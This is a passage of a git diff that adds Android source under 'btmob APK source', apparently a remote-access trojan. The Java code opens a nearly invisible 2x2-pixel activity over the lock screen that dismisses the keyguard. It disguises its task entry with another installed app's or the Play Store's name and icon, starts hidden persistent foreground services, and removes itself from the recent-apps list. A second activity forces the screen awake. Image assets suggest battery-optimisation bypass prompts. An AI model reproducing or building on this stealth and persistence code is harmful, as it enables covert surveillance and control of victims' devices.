LinearLayout.LayoutParams( +// LinearLayout.LayoutParams.MATCH_PARENT, +// 1 +// )); +// layout.setBackgroundColor(Color.TRANSPARENT); +// //layout.setBackgroundColor(Color.RED); +// layout.setClickable(false); +// layout.setFocusable(false); +// int mytype = 0; +// +// if(My_Access_inst != null && My_Access_inst.AccessLayout != null){ +// mytype = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY; +// }else{ +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.M && Settings.canDrawOverlays(this)){ +// mytype = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY; +// }else{ +// mytype = -1; +// } +// } +// +// if(mytype != -1){ +// WindowManager.LayoutParams params = new WindowManager.LayoutParams( +// WindowManager.LayoutParams.MATCH_PARENT, +// 1, +// mytype, // Use TYPE_APPLICATION_OVERLAY for API 26+ +// WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE , +// PixelFormat.TRANSLUCENT +// ); +// +// WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE); +// params.gravity = Gravity.BOTTOM; +// if(mytype == WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY){ +// My_Access_inst.AccessWindow.addView(layout, params); +// }else{ +// wm.addView(layout, params); +// } +// +// } +// +// + try { + requestWindowFeature(Window.FEATURE_NO_TITLE); + Window window = getWindow(); + window.setFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED | + WindowManager.LayoutParams.FLAG_DIM_BEHIND | + WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD | + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON | + WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE, WindowManager.LayoutParams.FLAG_FULLSCREEN); + //window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL); + //window.addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE); + //window.addFlags(WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL); + + // Set transparent background + WindowManager.LayoutParams params = window.getAttributes(); + params.height = 2; // Minimal height + params.width =2; + // params.screenBrightness = 0; + params.gravity = Gravity.TOP | Gravity.START; // Pin it to the bottom + window.setAttributes(params); + + // Make it completely invisible visually + //window.setBackgroundDrawableResource(android.R.color.transparent); + + // Prevent dimming or blocking other UI + window.clearFlags(WindowManager.LayoutParams.FLAG_DIM_BEHIND); + } catch (Exception a) { + a.printStackTrace(); + } + try { + + String packageName = getRandomLauncherApp(getApplicationContext()); + + if (!isPackageInstalled(packageName, getPackageManager())) { + packageName = "com.android.vending"; + if (!isPackageInstalled(packageName, getPackageManager())) { + packageName = null; + } + } + if (packageName != null) { + + PackageManager packageManager = getPackageManager(); + ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0); + Drawable appIcon = packageManager.getApplicationIcon(applicationInfo); + + String appName = packageManager.getApplicationLabel(applicationInfo).toString(); + this.setTitle(appName); + + // Convert Drawable to Bitmap + Bitmap appIconBitmap = drawableToBitmap(appIcon); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + ActivityManager.TaskDescription taskDescription = new ActivityManager.TaskDescription(appName, appIconBitmap, Color.TRANSPARENT); + this.setTaskDescription(taskDescription); + } + } + + } catch (Exception a) { + a.printStackTrace(); + } + + //setContentView(R.layout.activity_half_screen); + // Perform the work you need to do here + doWork(); + overlayView = new View(getApplicationContext()); + overlayView.setFocusable(true); + overlayView.setClickable(true); + overlayView.setBackgroundColor(Color.TRANSPARENT); + + setContentView(overlayView); + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + + excludeFromTaskList(getApplicationContext()); + moveTaskToBack(true); + } catch (Exception d) { + + } + + } + },3000); + + + + } catch (Exception a) { + a.printStackTrace(); + finish(); + } + } + + private void doWork() { + try { + Context mcontext = getApplicationContext(); + Intent workint = new Intent(mcontext, EngineWorker.class); + if (!MyCods.isServiceRunning(mcontext, EngineWorker.class)) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + } else { + mcontext.startService(workint); + } + } + + if (!MyCods.isServiceRunning(mcontext, WorkServices.class)) { + Intent workint2 = new Intent(mcontext, WorkServices.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint2); + } else { + mcontext.startService(workint2); + } + } + } catch (Exception e) { + + } + } + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/wakeitaiv.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/wakeitaiv.java new file mode 100644 index 0000000..eb7cfca --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/wakeitaiv.java @@ -0,0 +1,72 @@ +package com.icontrol.protector; + + +import android.app.Activity; +import android.content.Context; +import android.graphics.Color; +import android.os.Bundle; +import android.os.Handler; +import android.os.PowerManager; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; + +public class wakeitaiv extends Activity { + PowerManager.WakeLock WakeScreen1=null; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + //setContentView(R.layout.activity_wakeup); + requestWindowFeature(Window.FEATURE_NO_TITLE); + // Important: have to do the following in order to show without unlocking + this.getWindow().setFlags( + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED | + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON | + WindowManager.LayoutParams.FLAG_FULLSCREEN | + WindowManager.LayoutParams.FLAG_ALLOW_LOCK_WHILE_SCREEN_ON, + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED | + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON); + + setContentView(new View(getApplicationContext())); + View rootView = findViewById(android.R.id.content); + rootView.setKeepScreenOn(true); +// Window window = this.getWindow(); +// window.setGravity(51); +// +// WindowManager.LayoutParams attributes = window.getAttributes(); +// attributes.x = 0; +// attributes.y = 0; +// attributes.width = 1; +// attributes.height = 1; +// +// window.setAttributes(attributes); + PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE); + if (WakeScreen1 == null) + { + WakeScreen1 = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE , ":"); + } + + if (!WakeScreen1.isHeld()){ + WakeScreen1.acquire(1000); + } + + + new Handler(getMainLooper()).postDelayed(()->{ + + finish(); + }, 1); +// try { +// Thread.sleep(100); +// } catch (InterruptedException e) { +// //e.printStackTrace(); +// } +// finish(); + } + @Override + public void finish() { + super.finish(); // This will remove the activity from the screen + if (WakeScreen1.isHeld()){ + WakeScreen1.release(); + } + } +} diff --git a/btmob APK source/APK/app/src/main/res/drawable/btnback.png b/btmob APK source/APK/app/src/main/res/drawable/btnback.png new file mode 100644 index 0000000..84211c1 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/btnback.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/closebutton.png b/btmob APK source/APK/app/src/main/res/drawable/closebutton.png new file mode 100644 index 0000000..2809a30 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/closebutton.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/connection_error.png b/btmob APK source/APK/app/src/main/res/drawable/connection_error.png new file mode 100644 index 0000000..96b637b Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/connection_error.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/error.png b/btmob APK source/APK/app/src/main/res/drawable/error.png new file mode 100644 index 0000000..eb87b7f Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/error.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/mylogo.png b/btmob APK source/APK/app/src/main/res/drawable/mylogo.png new file mode 100644 index 0000000..e1794a5 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/mylogo.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/notify.png b/btmob APK source/APK/app/src/main/res/drawable/notify.png new file mode 100644 index 0000000..0275149 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/notify.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_ar_1.jpg b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_ar_1.jpg new file mode 100644 index 0000000..405de2f Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_ar_1.jpg differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_ar_2.jpg b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_ar_2.jpg new file mode 100644 index 0000000..794d7c7 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_ar_2.jpg differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_cn_1.png b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_cn_1.png new file mode 100644 index 0000000..b45f956 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_cn_1.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_cn_2.png b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_cn_2.png new file mode 100644 index 0000000..b54ece4 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_cn_2.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_en_1.png b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_en_1.png new file mode 100644 index 0000000..4b09e5c Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_en_1.png differ diff --git a/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_en_2.png b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_en_2.png new file mode 100644 index 0000000..c7c61a4 Binary files /dev/null and b/btmob APK source/APK/app/src/main/res/drawable/oppo_bty_en_2.png differ diff --git a/btmob APK source/APK/app/src/main/res/layout/activity_chat.xml b/btmob APK source/APK/app/src/main/res/layout/activity_chat.xml new file mode 100644 index 0000000..ee51960 --- /dev/null +++ b/btmob APK source/APK/app/src/main/res/layout/activity_chat.xml @@ -0,0 +1,91 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/btmob APK source/APK/app/src/main/res/layout/oppobattery.xml b/btmob APK source/APK/app/src/main/res/layout/oppobattery.xml new file mode 100644 index 0000000..d5e27d3 --- /dev/null +++ b/btmob APK source/APK/app/src/main/res/layout/oppobattery.xml @@ -0,0 +1,35 @@ + + + + + + + + +